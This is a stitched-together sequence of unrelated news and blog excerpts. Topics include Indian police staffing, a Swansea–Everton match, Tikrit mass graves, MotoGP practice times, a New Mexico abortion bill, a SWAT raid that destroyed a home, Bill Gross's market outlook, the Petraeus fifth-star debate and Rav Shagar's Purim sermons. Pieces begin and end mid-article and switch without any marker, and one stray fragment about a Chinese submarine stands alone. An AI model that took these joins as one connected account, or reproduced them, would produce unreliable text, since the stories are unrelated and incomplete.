This is among the lowest police-population ratios in the world. In the US, there is an officer for 436 people, in Spain, there is one for 198, and in South Africa, one for 347.
In a ranking of 50 countries, India was the second from the bottom, better only than Uganda, according to this 2010 report from the United Nations Office on Drugs and Crime. That year, there was a police officer for every 775 Indians, so the figure presented to the Lok Sabha shows an improvement.
There should be an officer for every 454 people, according to UN standards quoted in the South Asian Terrorism Portal. Using those standards, Bihar needs more than three times as many police officers. Even by Indian standards, the state needs 2.7 times more police officers.
Crime rate
While it appears logical that a favorable police-population ratio is correlated with a lower crime rate globally, research on their relationship is inconclusive, even contradictory, according to this 2010 American study. Our analysis of police-population ratios and homicide rates appears to agree.
In India, insurgencies and other extreme examples of lawlessness in some states push up crime rates, despite seemingly adequate police staffing. For instance, in Chhattisgarh – wracked by a Maoist insurgency –has a police officer for 574 people, not far from the Indian standard.
Jonjo Shelvey's penalty earns Swans a point
Aaron Lennon scores second goal for Everton
Swansea lose striker Bafetimbi Gomis to injury
Everton unbeaten in four league games
A second-half penalty from Jonjo Shelvey earned Swansea a point as Everton's three-game winning run in the Premier League came to an end.
Shelvey, who had a spectacular first-half effort disallowed following a foul in the build-up, slotted home after Seamus Coleman had carelessly handled.
On-loan winger Aaron Lennon had fired Everton ahead from a James McCarthy cross four minutes before the break.
Swansea equalled their record Premier League points tally of 47.
Everton, who had lost 3-0 at the Liberty Stadium in the League Cup earlier this season, are still the only side Swansea have never beaten in the league.
Having won their previous three league games, the Toffees' manager Roberto Martinez kept faith with the team which beat Southampton in their last game.
Everton top-scorer Romelu Lukaku was still missing through injury and Swansea were soon without their leading striker too, as Bafetimbi Gomis was taken off after just 16 minutes clutching his hamstring.
Aaron Lennon has scored twice in his last two league games following a 32-match scoring drought
Gomis had forced Everton keeper Tim Howard into a fine save with the game's first shot and, having doubled his season's league tally with a brace against Hull a week earlier, the Frenchman's exit was a setback for the hosts.
They thought they had taken the lead after half an hour, but Shelvey's spectacular volley was disallowed as referee Michael Oliver deemed that Wayne Routledge had fouled Leighton Baines.
Considering how both sides tend to favour a fluid, possession-based playing style, the first half was a disjointed affair.
Media playback is not supported on this device Swansea 1-1 Everton: Garry Monk says draw was 'fair result'
Everton were restricted to occasional long-range shots but, when they were eventually presented with a genuine scoring opportunity, they made the most of it.
Four minutes before the break, McCarthy's cross evaded Swansea's defenders and found Lennon, who finished calmly.
Swansea improved after the restart, with Marvin Emnes - Gomis' replacement - shooting narrowly wide from 20 yards.
Emnes had switched to the left wing for the second half, and that move paid off as his tussle with Coleman led to the Everton right-back handling the ball while off-balance as Emnes pressured him.
Referee Oliver pointed to the spot and, after Howard was booked for time-wasting, Shelvey sent the American the wrong way with a firm strike into the bottom corner.
Swansea pressed for a winner late in the game but, after Gylfi Sigurdsson's dipping free-kick was tipped over by Howard, Garry Monk's men had to settle for a point against former manager Martinez.
Everton manager Roberto Martinez on BT Sport:
Media playback is not supported on this device Draw feels like a defeat - Martinez
On the penalty decision: "Clearly there's contact. I've seen it many times given as a free-kick.
"He's trying to protect the ball and gets unbalanced and from that point he expects the free-kick to be given.
"It's one of those actions where you expect the referee to be a little bit more above the occasion.
"You felt the crowd were asking for two or three decisions and it was building up to a decision and unfortunately we were on the receiving end."
On the match: "The only criticism is we had a period of 10, 15, 20 minutes where we were too comfortable in the second half and didn't find that final shot or try to score the second goal. But apart from that I do feel the draw doesn't reflect what happened."
Swansea boss Garry Monk previously played alongside Roberto Martinez and then under his management with the Swans
Everton have conceded four penalties this season. Only Tottenham, West Brom and Stoke have given away more
Iraqi forensic teams are exhuming bodies from the suspected mass graves of soldiers killed by Islamic State (IS) militants while they controlled the city of Tikrit.
IS targeted Shia soldiers from Camp Speicher, a former US Army base.
The June 2014 massacre became a symbol for IS brutality after videos and pictures were posted on social media.
Tikrit was retaken from IS control by the Iraqi army and Shia militias days ago after a month-long siege.
IS militants claimed at the time to have executed 1,700 Iraqi soldiers from Camp Speicher.
Image copyright AP Image caption Families are putting increasing pressure on the Iraqi government to identify the bodies
Image copyright Reuters Image caption "It was a heartbreaking scene. We couldn't prevent ourselves from breaking down in tears," said one investigator
Work has started on eight locations inside Tikrit's complex of presidential palaces, where the killings are thought to have taken place, Kamil Amin, from Iraq's Human Rights Ministry, told the Associated Press.
The presidential compound of the former Iraqi president Saddam Hussein became the IS headquarters after they took the city last year.
"The work is continuing and we expect to discover more mass graves in different areas," Mr Amin said. "We expect huge number of bodies to be unearthed."
DNA testing will be used to identify the bodies once they have been exhumed, as many families have never had confirmation of the death of their relatives.
'Heartbreaking scene'
"We dug up the first mass grave site today. Initial indications show indisputably that they were from the Speicher victims," Khalid al-Atbi, an Iraqi health official working with the forensic team, told the Reuters news agency on Monday.
"It was a heartbreaking scene. We couldn't prevent ourselves from breaking down in tears. What savage barbarian could kill 1,700 persons in cold blood?" he added.
The murder of the soldiers has become a lightning rod for Shia militias who have vowed to avenge the killings.
The militias have been credited with halting Islamic State's advance last year when they captured key cities and towns, but have themselves been accused of war crimes.
Image copyright AP Image caption A Shia militiaman kisses the grave at a site believed to be a mass grave
The offensive launched on 2 March to take back Tikrit involved some 30,000 fighters, two-thirds of them from the Popular Mobilisation (Hasid Shaabi) - a force comprising dozens of Iranian-backed Shia militia.
The Iraqi army is now expected to turn its attention to Mosul, 225km (335 miles) north along the Tigris river.
Chinese nuclear submarine +
The Qatar winner held on to a violent shake from his M1, which set-off his air bag, while reigning champion Marc Marquez lost the front and fell during the middle stages.
Vinales went on to set his best laps with the medium rear while his closest rivals fitted a soft to push for a time attack in case of afternoon rain.
Following last year's tyre issues, all MotoGP riders must complete 5 timed laps on the hard rear in FP1-2. If not they'll receive 6 place grid penalty.
Alex Rins is competing despite a fracture to his right ankle in a motocross training accident last week...
1. Maverick Vi?ales ESP Movistar Yamaha MotoGP (YZR-M1) 1m 40.356s [Lap 17/19] 321km/h (Top Speed)2. Danilo Petrucci ITA Octo Pramac Racing (Desmosedici GP17) 1m 40.562s +0.206s [16/18] 320km/h 3. Johann Zarco FRA Monster Yamaha Tech 3 (YZR-M1)* 1m 40.574s +0.218s [20/20] 318km/h 4. Jonas Folger GER Monster Yamaha Tech 3 (YZR-M1)* 1m 40.660s +0.304s [19/20] 316km/h 5. Karel Abraham CZE Aspar MotoGP Team (Desmosedici GP15) 1m 40.678s +0.322s [18/18] 320km/h 6. Andrea Iannone ITA Team Suzuki Ecstar (GSX-RR) 1m 40.701s +0.345s [17/18] 317km/h 7. Andrea Dovizioso ITA Ducati Team (Desmosedici GP17) 1m 40.716s +0.360s [15/16] 323km/h 8. Hector Barbera ESP Reale Avintia Racing (Desmosedici GP16) 1m 40.853s +0.497s [18/19] 324km/h 9. Jack Miller AUS Estrella Galicia 0,0 Marc VDS (RC213V) 1m 40.867s +0.511s [16/20] 318km/h 10. Alvaro Bautista ESP Aspar MotoGP Team (Desmosedici GP16) 1m 40.936s +0.580s [17/17] 325km/h 11. Marc Marquez ESP Repsol Honda Team (RC213V) 1m 40.958s +0.602s [11/18] 317km/h 12. Aleix Espargaro ESP Factory Aprilia Gresini (RS-GP) 1m 40.982s +0.626s [16/17] 317km/h 13. Scott Redding GBR Octo Pramac Racing (Desmosedici GP16) 1m 41.062s +0.706s [17/18] 320km/h 14. Cal Crutchlow GBR LCR Honda (RC213V) 1m 41.073s +0.717s [16/17] 317km/h 15. Jorge Lorenzo ESP Ducati Team (Desmosedici GP17) 1m 41.128s +0.772s [16/19] 325km/h 16. Valentino Rossi ITA Movistar Yamaha MotoGP (YZR-M1) 1m 41.311s +0.955s [16/19] 318km/h 17. Alex Rins ESP Team Suzuki Ecstar (GSX-RR)* 1m 41.694s +1.338s [17/19] 318km/h 18. Tito Rabat ESP Estrella Galicia 0,0 Marc VDS (RC213V) 1m 41.703s +1.347s [17/18] 317km/h 19. Dani Pedrosa ESP Repsol Honda Team (RC213V) 1m 41.781s +1.425s [10/17] 316km/h 20. Pol Espargaro ESP Red Bull KTM Factory Racing (RC16) 1m 41.829s +1.473s [16/16] 315km/h 21. Loris Baz FRA Reale Avintia Racing (Desmosedici GP15) 1m 41.867s +1.511s [14/16] 313km/h 22. Bradley Smith GBR Red Bull KTM Factory Racing (RC16) 1m 42.224s +1.868s [18/19] 313km/h 23. Sam Lowes GBR Factory Aprilia Gresini (RS-GP)* 1m 42.237s +1.881s [16/17] 315km/h
Blue Name = Rides for Factory Team . Red Name = Rides for Satellite Team.
* Rookie
CLICK HERE for pictures from the event
Rep. Cathrynn Brown's bill would charge a rape victim who sought an abortion with a third-degree felony for "tampering with evidence," The Huffington Post reported Wednesday.
"Tampering with evidence consists of destroying, changing, hiding, placing or fabricating any physical evidence with intent to prevent the apprehension, prosecution or conviction of any person or to throw suspicion of the commission of a crime upon another," House Bill 206 reads.
"Tampering with evidence shall include procuring or facilitating an abortion, or compelling or coercing another to obtain an abortion, of a fetus that is the result of criminal sexual penetration or incest with the intent to destroy evidence of the crime," it adds.
And while the bill is unlikely to survive the Democrat-controlled state legislature according to HuffPost, it has enraged activists all the same.
"The bill turns victims of rape and incest into felons and forces them to become incubators of evidence for the state," ProgressNow New Mexico member Pat Davis told HuffPost. "According to Republican philosophy, victims who are 'legitimately raped' will now have to carry the fetus to term in order to prove their case."
Brown, who brags about being endorsed by Right to Life on her website, has yet to respond to Business Insider's request for more information about her bill.
The 55-metre (180-foot) brick smokestack next to the former hide house of the old Lang Tannery at 195 Joseph St. will be lit up by coloured LED lights.
The 100-year-old smokestack is one of the last in the city, and stands as a symbol of Kitchener's industrial heritage.
The towering chimney is a designated heritage landmark and was at the centre of a controversy in 2010 when developer Cadan Inc. offered to preserve the tower but demolished a number of old buildings associated with the tannery to make way for a gravel parking lot.
On Tuesday, Kitchener's heritage committee unanimously approved a proposal to install eight lights at the base of the smokestack, just where the smokestack transitions from its square base to the octagonal shaft, that project light up the brick tower.
The lights will be mainly green, but can also project red, blue or white light, and will "provide a beacon that celebrates the character and individuality of the smokestack (and) the history and heritage" of the Lang Tannery site," according to the report prepared for the committee. The design minimizes light pollution onto nearby homes, the report says.
The lighting would be programmable, allowing colours to change as needed to celebrate important dates or highlight particular public events.
"I think it will be a great addition," said Coun. Bil Ioannidis, a member of the committee, adding that the smokestack "was a prominent structure, back in the day."
Installation of the lights is expected to happen this fall and to cost Toronto-based property owner Allied Properties REIT about $136,000.
On Monday night, Court Square in downtown may resemble some of what you have seen on Wall Street the past month; though on a much smaller scale. An assembly will be held there to talk about all of the similar issues of "Occupy Wall Street."
On Sunday, organizers held their first meeting to plan what they're trying to accomplish tomorrow. They all first met online, and they are going to decide a lot of their official plans at Monday's assembly. Organizers included some local college students, professors, and people from Harrisonburg.
"It's a general assembly meeting. It is not a protest. People will be coming together just to discuss the ideas of what may happen," says organizer Paulette Moore.
"I saw this website called occupy together which was linking several groups together. I was waiting and no one was on Harrisonburg and I checked it every day saying it's going to spread and i found some people," says organizer Jeff Drees.
Members will be on Court Square tomorrow at 6:00 PM.
For more information, search "Occupy Harrisonburg" on Facebook or visit their blog site, http://occupyhburg.wordpress.com.
This will prove to be VERY helpful when disassembling the kit and separating it into different colors. I’ve mentioned it before but the deadline is a bit too close for comfort so I’ll have to paint a bit faster than usual. This means I’ll have to be extra careful not to paint a part (or worse, a bunch of parts) the wrong color ! Once everything is primed it’s very hard to tell the parts apart.
Some parts will have several colors, using masking tape to add details. I’ll have to keep that in mind when planning painting sessions. Speaking of sessions, I made a rough estimation of the time needed to paint all of this. Counting primer and gloss clear, I’ll need 14 sessions. I can usually fit 5 sessions per week, so I’d need more than two weeks to paint everything. Better get started !
Oh, and I forgot to consider the time needed for masking pieces, so add a session or two of masking :
The result, when it’s done correctly, is usually worth it :
Sorry for the pic quality, I took it quite late at night. I was excited when I removed the tape, the lines where cleaner than what I usually achieve.
As long as I’m on the topic of unplanned painting sessions, remember the shoulders I detailed last post ? I was hoping the primer wouldn’t show too much mistakes ? Well, there’s good news and bad news :
Looking pretty good so far. I swear, one of these days I’ll leave a kit in full primer color and a coat of flat clear to protect it. Anyway, when I looked at these shoulders from another angle :
Well, shit. I used some extra fine cement but that clearly wasn’t enough. I’ll need to putty it and sand it. The end result after all that is actually pretty good (no pics, sorry) but that was quite a lot of work, pretty late during the build. Lesson learned, I guess.
A bit more masking, for the other weapons :
That one was pretty straight-forward. When there’s a big physical gap between parts it’s easy to make a clean mask. I also tried something I’ve never done before :
I’ve always wanted to add some clear blue at the tip of gun barrels, to simulate extreme heat. I’m not sure if that makes sense on a clean build like I’m making (meaning, not weathered), but that’s a pretty cool sight IMO.
I have one last pic of everything painted before tackling the next (and last !) big part : decals !
The light grey is quite nice, IMO. It’s very close to the primer grey color I like so much. The medium grey is a bit dark for my taste, and is a bit too close to the dark grey I chose. Too late to start over though !
On that pic you can see that I finally gave up on those shoulders radiators I wanted to make. After 3 unsuccessful prototypes and the deadline looming over my head, I went for something simpler. I’ll try again another time when I have more experience (and no deadline).
[PHOTOS: Man swallowed by sinkhole | VIDEO: Brother tries to rescue man | AUDIO: 911 call (Warning, content may be graphic) | Are sinkholes common?]
Hillsborough County Fire Rescue and code enforcement officials were called to a home on Cedar Tree Lane to determine if it's safe for the family to stay in the house.
A second house also appears to be threatened, but there was no visible structural damage to the houses.
The sinkhole is estimated to be about 20 feet across and 10 feet deep, and it's straddling a fence between the properties.
The second sinkhole opened the same day workers demolished the blue, one-story home over the first hole, which is 60 feet deep.
Workers were able to salvage some belongings for the family of Jeff Bush, whose body has not been recovered. The 20-foot-wide opening of the sinkhole was covered by the house and rescuers said there were no signs of life since the hole opened late Thursday night.
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Watch Local 6 News and stay with ClickOrlando.com for more on this story.
Greenwood Village, CO – An innocent man’s home was destroyed by police after 50 SWAT officers responded to reports of a man shoplifting a shirt and two belts from a store. Even though the city declared the man’s house a complete loss, he was given just $5,000 in compensation, and he is now filing a lawsuit for “just compensation.”
Leo Lech lost his home in June 2015, after police launched a 19-hour standoff that included the use of armored vehicles, breaching rams, high-caliber rifles, chemical agents, flash-bang grenades and remote-controlled robots. While his home became “collateral damage,” neither Lech nor his family had any ties to the target the officers were pursuing.
It all started when a 30-year-old man was accused of shoplifting a shirt and two belts from a local Walmart. Police claim that when they approached Robert Jonathan Seacat, he fled the scene and officers followed him. After he drove to a nearby light rail stop, he abandoned the car he was driving and took shelter in a random house.
According to a report from the Denver Post, officers claimed that when they entered the home, “Seacat, who was on an upper floor, fired four or five shots through the floor at officers below.” Police decided to respond to one man barricaded in a home and armed with a handgun by employing 50 SWAT officers and a host of expensive technology, destroying the majority of the home, before they found their suspect in a bathroom and arrested him.
The National Tactical Officers Association (NTOA) described the strategy used by the SWAT officers as “calculated destruction,” in which they launched explosives throughout the house, room-by-room, in order to isolate Seacat. A report from Reason described the standoff:
“Though accounts of Seacat’s weaponry differ, court documents provide a startling summary of the police arsenal: 50 SWAT officers bombarded Lech’s property with 40 mm rounds, tear gas, flashbang grenades, two armored Bearcats, and breaching rams. A total of ‘68 cold chemical munitions and four hot gas munitions’ were detonated inside the Greenwood Village home. Remote-controlled robots were also used during the raid. The first robot was deployed to track Seacat’s whereabouts inside the house and attempt to deliver a phone to Seacat so that he could directly communicate with police. However, the robot could not maneuver through the debris inside the home, and eventually got stuck. To retrieve the robot, an officer attempted to throw a flashbang grenade upstairs toward Seacat to create a diversion. However, the grenade bounced back downstairs toward the team of officers, forcing them to scatter and retreat. The official report states that the grenade ‘failed to land in its desired location.’ Eventually, a second robot was used to retrieve the first one.”
While one may wonder why Seacat continued to stay in the house, even after police spent several hours using extreme methods to get him out, a review from the NTOA reported by the Denver Post, claimed that, “Seacat was not only actively using methamphetamine, but he had also swallowed containers of the substance, which were now leaking into his system.”
As a result of Seacat’s impaired state, the review concluded that the chemical agents used by the officers likely did not affect him, noting, “One can only speculate as to the effect this had on Seacat’s ability to think rationally, and to what degree the drug minimized the effects of any chemical munitions, which were later introduced.”
The amount of force and technology police used, in order to arrest a man who was suspected of shoplifting clothes from Walmart is bizarre, but the fact that they seemed intent on practically destroying an innocent man’s home is even worse.
According to the report from Reason, the commanding officer during the raid, Dustin Varney, instructed his team to “take as much of the building as needed, without making the roof fall,” and that is exactly what they did.
“They came and they destroyed the house. It was condemned, it had to be torn down, and they offered me $5,000,” Lech told the Denver Post, noting that his son’s family, who was renting the house from him, had all of their personal belongings destroyed, and were never compensated.
You may think that by sitting high up in the rafters at a ballpark, you wouldn't need to be on high alert for home runs. After all, the upper deck is called just that -- "upper," as in "higher and farther than the rest of the seats." But sometimes, action finds you anyway.
In the second inning of the A's 9-6 win over the Mariners on Tuesday night at Safeco Field, Ryon Healy connected on a 3-1 pitch from Chase De Jong and sent the ball high, deep and far into the Seattle evening for a two-run homer. The ball sailed into the upper deck, where it settled into the stands ... somewhere around here:
By "settled," we mean it careened right into the screen of a fan's smart phone, smashing it to bits.
Peter Johnson presented the evidence in a tweet to the A's:
@Athletics can you guys please buy me a new phone your 2 run shot broke mine pic.twitter.com/tsWVbvSrPw - Peter Johnson (@MeatPie97) May 17, 2017
To which the A's responded with a promise to buy him a replacement:
@MeatPie97 Well, it looks like we owe you one. DM us your email and address. pic.twitter.com/j8UWn3gj02 - #Voteland 5 x Daily (@Athletics) May 17, 2017
More, from the A's:
Don't worry, Peter. The A's are buying you a new phone. �� pic.twitter.com/X70DkqqVGb - #Voteland 5 x Daily (@Athletics) May 17, 2017
When asked to relay just what happened, Johnson explained that he wasn't exactly trying to catch it:
"It hit my pocket, I froze up when the ball came at me and it just hit my lap."
And Johnson added that no, prior to this moment he had never caught a foul ball or home run before.
Phones may have a concrete financial value, but this experience is just priceless.
Arsenal manager Arsene Wenger insists he now has the defensive platform to go on and win a Premier League title.
The Frenchman has Laurent Koscielny, Per Mertesacker, Calum Chambers and Gabriel as central defensive options and says he is not in the market for another defender.
"Four is enough," Wenger said. "(Mathieu) Debuchy can play there, (Nacho) Monreal can play there, so you can say we are not out to buy a central defender.
"And Gabriel will be a great central defender, believe me."
Arsenal have won nine times in an unbeaten 10-match run ahead of Monday Night Football's clash with Swansea at the Emirates.
The exception was a goalless draw with champions Chelsea in the Gunners' last home fixture and Wenger will be targeting another three points against the Swans in an effort to cement an automatic Champions League spot.
"We can win (the title), of course we can win," he added. "We have done it before. Manchester United have done it. Plenty of teams have done it.
"It is how well you play, the kind of game you play. For example, you don't question Barcelona about the way they play football.
"But if they start to lose games you will question 'Are they not too naive?' But when they win you don't question it of course.
"You cannot play 38 games in the same convincing style. You need to have a balance in your team so that if you are not at a level of fluency you can still win the game.
"Then most of the time it is the individual talent of the players.
"You have to accept that at some level - unfortunately - the game becomes an individual sport."
Star Crew Entertainment (formerly Ador&Able), the agency of HOTSHOT, revealed that Ha Sung Woon had sent a message of support to his fellow HOTSHOT members following the group’s comeback on July 15.
As Ha Sung Woon has been chosen to be a member of Wanna One, he was not able to join the other members of HOTSHOT for their recent comeback track “Jelly.”
The idol stated, “I felt like my heart was going to burst watching HOTSHOT’s performance on ‘Music Core.’ Whenever I have a moment, I look up HOTSHOT on portal sites and monitor news about them. I also call up the other members to nag at them.” He also added, “I feel like the height of the members in the group has become unbalanced now that I’m not there. It feels empty without the members by my side because we’ve always stuck together, and I miss them. I’m confident they’ll keep HOTSHOT thriving while I’m gone.”
An agency representative stated, “Ha Sung Woon feels apologetic to his fellow members and fans for not being able to perform as a member of HOTSHOT because of his Wanna One activities. However, he wants everyone to know that he’ll be with HOTSHOT in spirit, and he hopes fans will give all their love and support to both HOTSHOT and Wanna One.”
Police said they have a suspect in custody who is facing a second-degree assault charge.
It happened during Richard Montgomery High School's anti-Trump walk-out and protest.
The student was found with scraps on his knee and he told police he hit his head. The young man walked himself to an ambulance. Police said he went to a hospital to get checked out.
It's not clear who instigated the fight, but there was an apparent verbal altercation first. Three adults said they saw multiple students punch and kick the 15-year-old boy.
“A hand went up and then all four jumped on top of him and that’s when I ran over to try and stand over him," said Veronica Vaca, a parent who came to monitor the protest in support of her daughter.
Update: Rockville City Police have identified a Richard Montgomery HS suspect - told the minor will face a 2nd degree assault charge @wusa9 pic.twitter.com/EOczV1gp54 — Stephanie Ramirez (@RamirezReports) November 16, 2016
“The only message that I can send is as a mother and a concerned member of the community is, don’t go low. There’s no reason to hurt someone else because of their views,” Vaca said.
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More criticism to the walkouts and assault came online.
“They can’t even vote…they should be in school…” said part of a comment during a live Facebook stream of the protest.
After seeing the beat up student, another viewer wrote, “…who is responsible for that? School or parents?”
RELATED: Student anti-Trump protests continue onto day 3
“I was completely, completely disturbed. I think that the whole purpose is to be peaceful, is to be respectful, is to spread love and not hate," said student protester Haley Phillips.
Several students were also upset that the fight would be shared instead of their message. The high schoolers said they’re pushing to make a difference, maybe not in the presidential race but in others.
"We can’t vote so this is the only voice we have," Jaden De la Cruz said.
Richard Montgomery's principal sent out a letter saying they will not tolerate the violence.
Several parents were out along the march route in support of their children and a peaceful protest.
In his latest investment outlook, published on Thursday morning, Gross wrote that he thinks the stellar returns experienced by both bond and stock investors over the last 40 years are an anomaly that will not be repeated.
Gross looks at two simple charts — the Barclays US Aggregate bond index and the S&P 500 — and says the steady upward march in bond prices and the rockier but still rewarding upward climb in stock prices can't happen again.
Here's Gross (emphasis added, charts his):
Since the inception of the Barclays Capital U.S. Aggregate or Lehman Bond index in 1976, investment grade bond markets have provided conservative investors with a 7.47% compound return with remarkably little volatility. An observer of the graph would be amazed, as was I, at the steady climb of wealth, even during significant bear markets when 30-year Treasury yields reached 15% in the early 80's and were tagged with the designation of "certificates of confiscation."
The graph proves otherwise, because as bond prices were going down, the higher and higher annual yields smoothed the damage and even led to positive returns during "headline" bear market periods such as 1979- 84, or more recently the "taper tantrum" of 2013. Quite remarkable, isn't it? A Sherlock Holmes sleuth interested in disproving this thesis would find few 12-month periods of time where the investment grade bond market produced negative returns.
Janus
The path of stocks has not been so smooth but the annual returns (with dividends) have been over 3% higher than investment grade bonds as Chart 2 shows. That is how it should be: stocks displaying higher historical volatility but more return.
But my take from these observations is that this 40-year period of time has been quite remarkable - a grey if not black swan event that cannot be repeated. With interest rates near zero and now negative in many developed economies, near double digit annual returns for stocks and 7%+ for bonds approach a 5 or 6 Sigma event, as nerdish market technocrats might describe it.
You have a better chance of observing another era like the previous 40-year one on the planet Mars than you do here on good old Earth.
Janus
As tends to be the case with almost all "black swan" references, it's unclear if this actually meets the criteria of a "black swan."
A "black swan" is a tail risk — or a negative event — that occurs outside the realm of what had once been deemed possible, but is now sort of used to describe "bad things we think might happen."
Of course, what good is pointing out that a phrase might not be used inside its original definition if a somewhat warped usage still effectively communicates a point we know the author is trying to make, right? In this case, Gross just wants to use "black swan" as a way to describe investment returns across more than one asset class that were better than math would've predicted inside something like a standard bell curve distribution. And we all sort of know that, so why be a pedant about it? Etc., etc.
The actual investing part of Gross' outlook implies, basically, that if you want good investment returns you'll have to go to space. Or something like that.
And as has been the theme in Gross' last several investment outlooks, he calls for tougher times ahead for investors that will see higher volatility and lower returns — which is, of course, the exact opposite of how financial risk-taking works. In theory.
In the 20 times when the S&P 500 has enjoyed moderate gains (between 0 and 15 percent) in the year to Thanksgiving, the S&P has added to those gains 18 of 20 times, according to Jason Goepfert of SentimenTrader. He also notes that "when it does decline, typically it's very, very small, so when you look at risk-reward just based on the time of the year, it's very, very positive."
Interestingly, if we alternately look at years in which the S&P is up 10 percent or more, the results are somewhat more mixed. When Goepfert, going back to 1950, looks solely at the 28 years in which the S&P was up 10 percent or more at Thanksgiving, 68 percent of the years were positive, with those 28 years averaging a healthy return of 2.4 percent between Thanksgiving and New Year's.
"There was actually a negative correlation between the pre-holiday and the post-holiday returns, suggesting that buying pressure earlier in the year exhausted some of the post-holiday enthusiasm," he wrote to CNBC.
What makes this a bit confusing is that performance-chasing is often credited for the year-end rally. In other words, underperforming managers are thought to take heavily bullish positions toward the end of the year in an attempt to make up for lagging the market during most of the year.
However, that would seem to be an argument for proportional gains pre- and post-Thanksgiving; the fact that more enthusiastic action ahead of the turkey carving seems to presage more muted action into New Year's seems to suggest that something else is going on here.
One explanation is that when stocks are up significantly, beating a benchmark like the S&P becomes a bit less important. Since few clients will kvetch about 15 percent gains in any market environment, hanging on to existing profits becomes more important than chasing fresh ones.
Read More'Hang in there, we're going higher': Acampora
When Petraeus, probably the best-known military man in the wars of Iraq and Afghanistan, returns to answer questions, the television lights will shine on the four stars he wears on each shoulder.
Now a new debate is swirling in Washington, thanks to an opinion piece in the Wall Street Journal pushing for Petraeus to get a fifth star, like military giants of the past.
"The U.S. war against terrorism is now the longest war in U.S. history, and Gen. Petraeus has clearly distinguished himself as a leader worthy of the rank held by Gens. MacArthur, Marshall and Nimitz," Pete Hegseth and Wade Zirkle, of the group Vets for Freedom, wrote in the Wall Street Journal.
Hegseth served in Iraq with the 101st Airborne Division and is bound for Afghanistan. Zirkle, a Marine, deployed twice to Iraq.
They make the case that Petraeus deserves the higher rank and that others will benefit if he gets it.
"A promotion would properly honor his service -- and it would also honor the troops he leads and has led," they write. "Today's soldiers have fought as valiantly as any in American history, and they deserve recognition of their leaders. Congressional approval of a fifth star would demonstrate the nation's commitment to their mission."
Hegseth aid Thursday that the response to their suggestion has been overwhelmingly positive. He laughed off a question about whether he had heard from Petraeus himself, saying he didn't expect to.
"We're just hoping to gain some traction," Hegseth said. He said congressmen already have volunteered to push the promotion forward, although he said he could not provide names.
A spokesman for Petraeus would not discuss the idea with CNN.
Most senior officers are selected by a promotion board of their peers. But for three-stars and above, the president makes the choice, and the Senate must confirm the decision. Right now, including Petraeus, there are only 12 four-star generals in the U.S. Army.
Currently, there is no legislation allowing the appointment of officers to a five-star grade, according to Pentagon information. The last general receiving a fifth star was Omar Bradley in 1950, and it took a special law to make that happen.
Sen. Lindsey Graham, R-South Carolina, recommended a fifth star during a congressional hearing back in 2008, when Petraeus was leading the surge of troops in Iraq.
"If I could promote you to five stars, I would," Graham told Petraeus.
The issue prompted tweets to CNN's @natlsecuritycnn account.
"An incredibly silly idea," says one answer to the question of the fifth star.
"As much as GOP want to deify him he's not a Washington or a Pershing," says another.
A supporter tweets, "He deserves by his achievements."
In the halls of the Pentagon, people shied away from questions. Asked about how the nuts and bolts of the promotion would work, one Pentagon worker admitted that it has been so long since Bradley that he didn't even know whom to call.
Another person, back from the battlefield, shrugged it all off.
"Most people do think it's laughable," he said. He didn't want to have his name tagged to any comment about a past or future boss.
The latest publicity is an echo of a call to elevate Petraeus: a July article in The Atlantic magazine.
The author, D.B. Grady, a former Special Forces paratrooper who served in Afghanistan, said that another star for Petraeus would give President Obama a chance to convince the U.S. military and allies that he's committed to the mission in Afghanistan.
"If you are wearing a uniform right now, and I talk to soldiers every day, there's a great deal of fear out there, a great deal of suspicion. President Obama needs a bit of bolstering in the military," Grady said. "Petraeus is deified in the military. It's win-win. With this there is no doubt that the world will appreciate we are taking it seriously in Afghanistan."
Critics of an additional star for Petraeus warn that it could interfere with the chain of command. He would outrank his superior at Central Command, Marine Gen. James Mattis, as well as the Joint Chiefs chairman, Adm. Mike Mullen.
But Hegseth says that should cause no problem, that Petraeus' stature already means he has direct contact with the White House and Congress and the secretary of defense.
Max Boot in Commentary magazine praises Petraeus but opposes the promotion, saying it would have a negative impact on the chain of command. He suggests waiting.
"I do think that when Petraeus is ready for retirement -- something that I hope will not happen anytime soon -- Congress should consider granting him another star if by that point he has turned around the war in Afghanistan as he did in Iraq," Boot writes on commentarymagazine.com.
There are no such concerns from Grady.
[This is the small book of Rav Shagar’s derashot on Purim. It’s one of the earlier works that was published, and thus is unfortunately not nearly as well put together as some of the more recent works,]
Introduction
[There’s not a lot to the introduction but it’s worth noting because Rav Shagar himself wrote it, as opposed to many of his books that were published posthumously.]
In these drashot Amalek is seen as representative of the duality of human perception, and to some degree of human perception write large. Thus there are derashot that talk about the removal of all human categories.
Part of the goal of the book is to create a new religious language. In this Rav Shagar turned to kabbalistic texts because they provide a lot of room and material for interpretation. These texts around Purim deal with a lot of questions of human existence like providence, the contingency of existence, etc. Hence the midrashim that invoke Kohelet in context of Purim.
In the rest of the book, Amalek is seen as representing a Nietzschean Will to Power, there is a discussion of Hasidic join, and a lot of Rebbe Nahman.
The epilogue and the derashah on the canonization of the Megillah contradict the usage of “Aught” and “Naught” [translations of “יש” and “אין” following M. Fishbane’s “Sacred Attunement] in the rest of the derashot, where Amalek is connected with “Aught,” while in those two places Amalek is the disconnect between “Aught” and “Naught” and there is an “Absolute Aught” [“יש המוחלט”] beyond the “Naught.” These are essentially starting a new discussion.
[Practically, the contradiction is mainly whether the goal is to get to the “Naught” or the “Absolute Aught.”]
Between Remembrance and Remembrance – Shabbat and Amalek
Kohelet is bothered by the arbitrary nature of Chance, which the midrash sees as being due to the equivalence of Shabbat and Amalek: Bnei Yisrael are commanded to remember both. The midrash explains that one is a remembrance of emptiness and one of fullness, of meaning. This doesn’t solve Kohelet’s ultimate problem, however, which is that everything is eventually forgotten in eternity. Kohelet would just ignore this but for the reflectivity of Amalek, derived from the primordial sin. He cannot forget his finitude. Through drinking on Purim we get out of this reflective state, similar to the one found in the state of remembering to forget Amalek.
Kohelet was bothered by who would sit on his throne after him, by the possibility of a fool on the throne of God, which represents Divine providence. This is Amalek which keeps us from seeing the Divinity of providence, the reflective duality that divides between the Creator and the creation.
Shabbat is also connected to the throne of God in the liturgy. Shabbat is the symbol of God as Creation and Ruler of the world, reminding us that God controls everything. הכל בידי שמים. Shabbat reminds us not to get stuck in a causal mindset. When Bnei Yisrael didn’t keep shabbat by the manna, Amalek came and attacked them, due to how Bnei Yisrael didn’t see that everything is in the hands of Heaven.
Amalek is overcome by drunkenness, by getting beyond the divide between the “Rest” (מנוחה) of Shabbat and the “Work” (מלאכה) of the week. Thus there is no prohibition of work on Purim. On Shabbat, wine is drunk according to the measurement of Kiddush; On Purim there is no measure.
